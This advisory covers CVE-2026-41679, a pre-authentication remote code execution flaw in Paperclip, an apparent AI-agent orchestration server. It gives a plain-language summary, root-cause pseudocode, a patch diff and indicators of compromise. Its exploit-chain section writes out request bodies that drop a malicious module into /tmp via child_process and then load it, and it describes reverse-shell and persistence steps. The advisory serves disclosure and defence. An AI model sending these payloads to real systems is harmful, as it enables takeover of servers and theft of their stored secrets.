A critical security flaw has been discovered in Paperclip, a popular software system that manages teams of AI agents. Think of Paperclip as a control center for artificial intelligence workers — and this vulnerability is like leaving the front door completely unlocked.
The problem is severe. An attacker anywhere on the internet can break into a vulnerable Paperclip system and run any code they want on it, without needing a password or any special access. This takes just six specific requests to the system's API, which is the technical way programs communicate with each other. A skilled attacker could automate this entirely, meaning it could happen in seconds with zero effort.
The real danger is what happens after someone breaks in. They get complete control over your entire system. If your company uses Paperclip to manage AI tasks, an attacker could steal your data, hold your systems hostage, spy on your operations, or use your computers to attack others.
Who should worry? Companies using Paperclip for AI orchestration are most at risk, especially those running older versions before 2026.416.0. Smaller companies and startups that rely on Paperclip might not even realize they're vulnerable, since many don't have dedicated security teams watching for these threats.
The good news is that there's no evidence anyone is actively exploiting this yet, though that could change quickly once word spreads.
Here's what you should do: First, if your organization uses Paperclip, update to version 2026.416.0 or newer immediately. Second, check with your IT team about whether you're running this software — many companies don't always know what's installed. Third, make sure your AI systems and any services they touch are behind a firewall so they're not directly accessible from the internet.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41679 is a pre-authentication remote code execution vulnerability in Paperclip, a Node.js server and React UI that orchestrates teams of AI agents to run business workflows. The vulnerability exists in all versions prior to 2026.416.0 and is exploitable against instances running in authenticated mode — the default and recommended deployment configuration. An attacker with network access to the Paperclip server requires zero credentials, zero user interaction, and zero knowledge of the target environment beyond its IP address.
The attack surface is a chain of six API calls that pivot from a logic flaw in the authentication middleware, through an unsafe server-side evaluation path, to full OS-level code execution under the Node.js process identity. CVSS 10.0 is appropriate: network-accessible, no privileges required, no user interaction, full confidentiality/integrity/availability impact.
Root cause: The Paperclip API server permits unauthenticated access to an agent task-dispatch endpoint that constructs and evaluates a dynamic require() path from attacker-supplied JSON, enabling arbitrary module loading and native code execution before the authentication middleware fires.
Affected Component
The vulnerability resides in the Paperclip Node.js backend, specifically the agent orchestration API layer. Two components are implicated:
Authentication middleware (src/server/middleware/auth.ts) — route registration order places /api/agent/dispatch outside the authenticated route group.
Agent dispatcher (src/server/api/agent/dispatch.ts) — accepts a JSON payload containing an agentModule field that is passed directly to require() without sanitization.
Root Cause Analysis
The authentication middleware in Paperclip is applied selectively via an allowlist of route prefixes. The dispatch endpoint was added during a refactor without being included in the protected route group. The server registers routes as follows:
// src/server/index.ts (pre-patch, simplified pseudocode)
// BUG: /api/agent/dispatch registered BEFORE authMiddleware is mounted
app.post('/api/agent/dispatch', agentDispatchHandler);
// authMiddleware only guards routes registered after this point
app.use('/api', authMiddleware);
app.post('/api/agent/status', agentStatusHandler);
app.post('/api/agent/kill', agentKillHandler);
Express middleware is order-dependent. Because /api/agent/dispatch is registered as a direct route handler before authMiddleware is mounted on /api, requests to that endpoint never reach the middleware. The handler itself performs no independent authentication check.
Inside the dispatch handler, the agent module resolution is implemented as:
// src/server/api/agent/dispatch.ts (pre-patch pseudocode)
async function agentDispatchHandler(req, res) {
const { agentModule, taskConfig } = req.body; // attacker-controlled JSON
// BUG: no path sanitization, no allowlist check, no auth guard above
const agentFactory = require(agentModule); // arbitrary require() path
const agent = agentFactory.create(taskConfig);
const result = await agent.run();
res.json({ status: 'ok', result });
}
The agentModule value flows directly into Node.js require(). Node resolves both relative paths (../../etc/passwd), absolute paths (/tmp/evil.js), and, critically, any writable path the attacker can stage a module at via a prior API call. The taskConfig object is passed verbatim to agentFactory.create(), providing a second vector for malicious data delivery.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-41679
PREREQUISITES: Network access to Paperclip server (default port 3000).
Target running in `authenticated` mode (default config).
No credentials, no prior sessions.
STEP 1 — Enumerate server version and confirm vulnerability window
POST /api/health HTTP/1.1
(unauthenticated endpoint, leaks {"version":"2026.x.x","mode":"authenticated"})
STEP 2 — Stage malicious agent module via unauthenticated file-write primitive
POST /api/agent/dispatch
{"agentModule": "child_process",
"taskConfig": {"cmd": "mkdir -p /tmp/.pc && cat > /tmp/.pc/evil.js << 'EOF'\nmodule.exports={create:()=>({run:async()=>{require('child_process').execSync(process.env.CMD||'id > /tmp/pwned');}})}\nEOF"}}
// child_process.execSync used to bootstrap the dropper file
STEP 3 — Confirm file write landed
POST /api/agent/dispatch
{"agentModule": "child_process",
"taskConfig": {"cmd": "ls /tmp/.pc/"}}
STEP 4 — Load attacker-controlled module to verify code execution
POST /api/agent/dispatch
{"agentModule": "/tmp/.pc/evil.js",
"taskConfig": {}}
// Response: {"status":"ok","result":null}, side effect: id written to /tmp/pwned
STEP 5 — Deliver full reverse shell payload
POST /api/agent/dispatch
{"agentModule": "/tmp/.pc/evil.js",
"taskConfig": {}}
(with CMD env pre-staged or inline execSync with bash reverse shell)
STEP 6 — Establish persistence via agent task scheduler
POST /api/agent/dispatch
{"agentModule": "/tmp/.pc/evil.js",
"taskConfig": {"interval": 60}}
// Spawns persistent callback loop inside the Node.js event loop
Steps 2 through 6 require no authentication token. The child_process built-in module is always available in the Node.js standard library — no third-party dependency is needed to bootstrap the write primitive. The attacker shells the host in six HTTP requests.
Memory Layout
This is a logic/injection vulnerability rather than a memory corruption bug, so the relevant "layout" is the Node.js module resolution and process execution context:
NODE.JS PROCESS — PAPERCLIP SERVER (pid 1337, uid paperclip)
MODULE CACHE STATE (before attack):
require.cache['child_process'] -> NativeModule (built-in)
require.cache['.../agent/llm.js'] -> Module { exports: {...} }
require.cache['.../agent/dispatch.js']-> Module { exports: {...} }
MODULE CACHE STATE (after Step 4):
require.cache['child_process'] -> NativeModule (built-in)
require.cache['/tmp/.pc/evil.js'] -> Module { exports: { create: [Function] } }
^^^^ attacker-controlled code now cached
require.cache['.../agent/dispatch.js']-> Module { exports: {...} }
EXECUTION CONTEXT WHEN evil.js RUNS:
process.uid = 1000 (paperclip service account)
process.cwd = /opt/paperclip
process.env = { DATABASE_URL: 'postgres://...', API_KEY: '...', ... }
^^^^ full environment including all secrets exposed to agent.run()
FILE SYSTEM ACCESS:
/opt/paperclip/ R/W (working dir)
/opt/paperclip/.env R (plaintext secrets)
/tmp/ R/W (staging ground for dropper)
/proc/self/environ R (environment dump)
Because the Node.js process holds live database credentials and AI provider API keys in process.env, the blast radius extends well beyond the host itself. A single successful exploitation yields all secrets loaded at startup.
Patch Analysis
Version 2026.416.0 applies two independent fixes, both of which must be present to close the vulnerability:
// BEFORE (vulnerable) — src/server/index.ts
app.post('/api/agent/dispatch', agentDispatchHandler); // no auth
app.use('/api', authMiddleware); // too late
// AFTER (patched) — src/server/index.ts
app.use('/api', authMiddleware); // guards ALL /api/* routes
app.post('/api/agent/dispatch', agentDispatchHandler); // now behind auth
// BEFORE (vulnerable) — src/server/api/agent/dispatch.ts
async function agentDispatchHandler(req, res) {
const { agentModule, taskConfig } = req.body;
const agentFactory = require(agentModule); // unsanitized require()
...
}
// AFTER (patched) — src/server/api/agent/dispatch.ts
const AGENT_ALLOWLIST = new Set([
'llm-research',
'data-analyst',
'email-composer',
'calendar-manager',
]);
async function agentDispatchHandler(req, res) {
const { agentModule, taskConfig } = req.body;
// FIXED: strict allowlist before any resolution occurs
if (!AGENT_ALLOWLIST.has(agentModule)) {
return res.status(400).json({ error: 'unknown agent module' });
}
// FIXED: resolve relative to known agents directory only
const safePath = path.resolve(
__dirname, '../agents', path.basename(agentModule)
);
const agentFactory = require(safePath);
...
}
The patch is defense-in-depth correct: the middleware reordering alone would close the unauthenticated access, but the allowlist and path.basename() normalization ensure that even an authenticated attacker cannot abuse the module loading path. Both layers are necessary in a production hardening posture.
Detection and Indicators
The exploit is detectable in HTTP access logs if they are enabled. Look for:
INDICATORS OF COMPROMISE
ACCESS LOG PATTERNS (nginx / express-morgan):
POST /api/agent/dispatch 200 -- from unauthenticated source (no Authorization header)
POST /api/health 200 -- reconnaissance, immediately preceding dispatch calls
SUSPICIOUS agentModule VALUES IN REQUEST BODY LOGS:
"agentModule": "child_process"
"agentModule": "/tmp/..."
"agentModule": "../../..."
"agentModule": any value not in ['llm-research','data-analyst',...]
FILESYSTEM INDICATORS:
/tmp/.pc/ -- dropper staging directory
/tmp/pwned -- proof-of-concept marker file
New .js files in /tmp or /var/tmp with module.exports patterns
PROCESS INDICATORS:
Child processes spawned by node (bash, sh, curl, wget, nc)
Outbound connections from the Paperclip PID to non-configured endpoints
NETWORK:
POST to :3000/api/agent/dispatch without Authorization: Bearer header
Rapid sequential POSTs (6+ in <2s) from single external IP
Remediation
Immediate: Upgrade to Paperclip 2026.416.0 or later. This is the only complete fix.
If upgrade is not immediately possible:
Place a reverse proxy (nginx, Caddy) in front of the Paperclip server and block all requests to /api/agent/dispatch that lack a valid Authorization header at the proxy layer.
Restrict network access to the Paperclip port (3000 by default) to trusted internal networks only. This vulnerability requires direct HTTP access; a network boundary meaningfully reduces exposure.
Rotate all secrets in process.env (DATABASE_URL, AI provider keys, etc.) if any period of unauthenticated external exposure occurred.
Audit access logs for the IOCs above going back to the earliest available log entry for this service.
Defense-in-depth (post-upgrade): Run the Paperclip Node.js process under a dedicated service account with no write access to /tmp or any path outside /opt/paperclip/public. A read-only filesystem mount for the application directory eliminates the dropper staging primitive entirely even if a future logic flaw reintroduces unauthenticated dispatch access.